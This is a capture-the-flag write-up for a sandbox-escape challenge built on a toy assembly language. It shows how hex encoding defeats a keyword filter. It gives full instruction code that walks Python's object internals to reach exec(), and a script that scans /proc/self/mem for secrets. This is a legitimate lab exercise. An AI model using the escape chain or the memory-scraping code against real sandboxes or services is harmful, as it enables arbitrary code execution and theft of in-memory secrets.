Chusembly
Challenge
I've created Chusembly - a revolutionary new programming language that's totally secure! It has registers, a stack, and everything a real language needs. I even added a safety...
URL: http://chall.ehax.in:6969/
Category: Miscellaneous / Sandbox Escape
Solution
Understanding Chusembly
The challenge presents a web form at / that accepts "Chusembly" code and executes it via a /run endpoint. Full documentation is available at /docs with per-instruction detail pages at /docs/<instruction>.
Registers: A, B, C, D (general purpose), E (special result register for CALL, PROP, CMP, IDX).
Key Instructions:
LD <register> <value>-- Load value; supports0xhex-encoded strings decoded as UTF-8PROP <property_name> <register>--E = getattr(register_value, property_name)CALL <register>-- Calls the callable in register with A/B as args (None args omitted); result in EIDX <source> <destination>--destination = source[A](A must be integer)MOV <src> <dst>-- Copy value between registersDEL <register>-- Set register to NoneADD <reg1> <reg2>-- Arithmetic addition or string concatenationSTDOUT <register>-- Print register value
Safety Check
The run_safely method contains a simple substring check:
if any(kw in code for kw in ('flag',)):
raise ValueError('Unsafe code detected')
Only checks for the literal string "flag" in the raw code text. Hex-encoded values are decoded after this check, so 0x666C6167 (hex for "flag") passes the filter.
Exploit Chain: Python Sandbox Escape to exec()
Since PROP directly calls Python's getattr() and CALL invokes arbitrary callables, we can traverse the Python object hierarchy:
str.__class__.__base__-><class 'object'>object.__subclasses__()-> list of all loaded classesmain.Chusembly(last subclass, index -1) ->__init__.__globals__-> main module namespace__globals__['__builtins__']['exec']-> Python'sexec()function- Pass hex-encoded Python code to
exec()to run arbitrary code
LD A hello
PROP __class__ A
MOV E A
PROP __base__ A
MOV E A
PROP __subclasses__ A
MOV E D
DEL A
DEL B
CALL D
MOV E B
LD A -1
IDX B C
PROP __init__ C
MOV E A
PROP __globals__ A
MOV E A
PROP __getitem__ A
MOV E D
LD A __builtins__
DEL B
CALL D
MOV E A
PROP __getitem__ A
MOV E D
LD A exec
DEL B
CALL D
MOV E C
LD A 0x<hex-encoded-python-code>
DEL B
CALL C
Finding the Flag in Memory
The container's filesystem had been destroyed by other players -- only /proc, /etc, /sys, /dev remained. The original flag.txt no longer existed on disk.
To recover the flag, we used exec() to scan process memory via /proc/self/mem, searching for the EH4X{ pattern across all readable memory regions:
import os
with open('/proc/self/maps','r') as f:
maps = f.readlines()
mem_fd = os.open('/proc/self/mem', os.O_RDONLY)
for line in maps:
parts = line.split()
if len(parts) < 2 or 'r' not in parts[1]:
continue
start, end = [int(x,16) for x in parts[0].split('-')]
size = end - start
if size > 50*1024*1024:
continue
try:
os.lseek(mem_fd, start, os.SEEK_SET)
data = os.read(mem_fd, size)
idx = data.find(b'EH4X{')
if idx >= 0:
flag_end = data.find(b'}', idx)
if flag_end >= 0:
print(data[idx:flag_end+1].decode('ascii','replace'))
except:
pass
os.close(mem_fd)
The Python code was hex-encoded and passed via LD A 0x<hex> to bypass both the space-splitting in LD arguments and the "flag" keyword filter.
Multiple copies of the flag were found in the heap, confirming the flag had been read by the process at some point.
Key Takeaways
PROPdirectly calls Python'sgetattr(), enabling full object traversal for sandbox escapeCALLinvokes arbitrary callables with register-based arguments, includingexec()- The safety check is a trivial substring match on raw code text, easily bypassed with hex encoding
- Hex-encoded string values in
LDare decoded after the safety check runs - Even on a destroyed filesystem, process memory (
/proc/self/mem) retains previously-read data including the flag - Using index
-1formain.Chusembly(always the last subclass) avoids needing to find the exact subclass index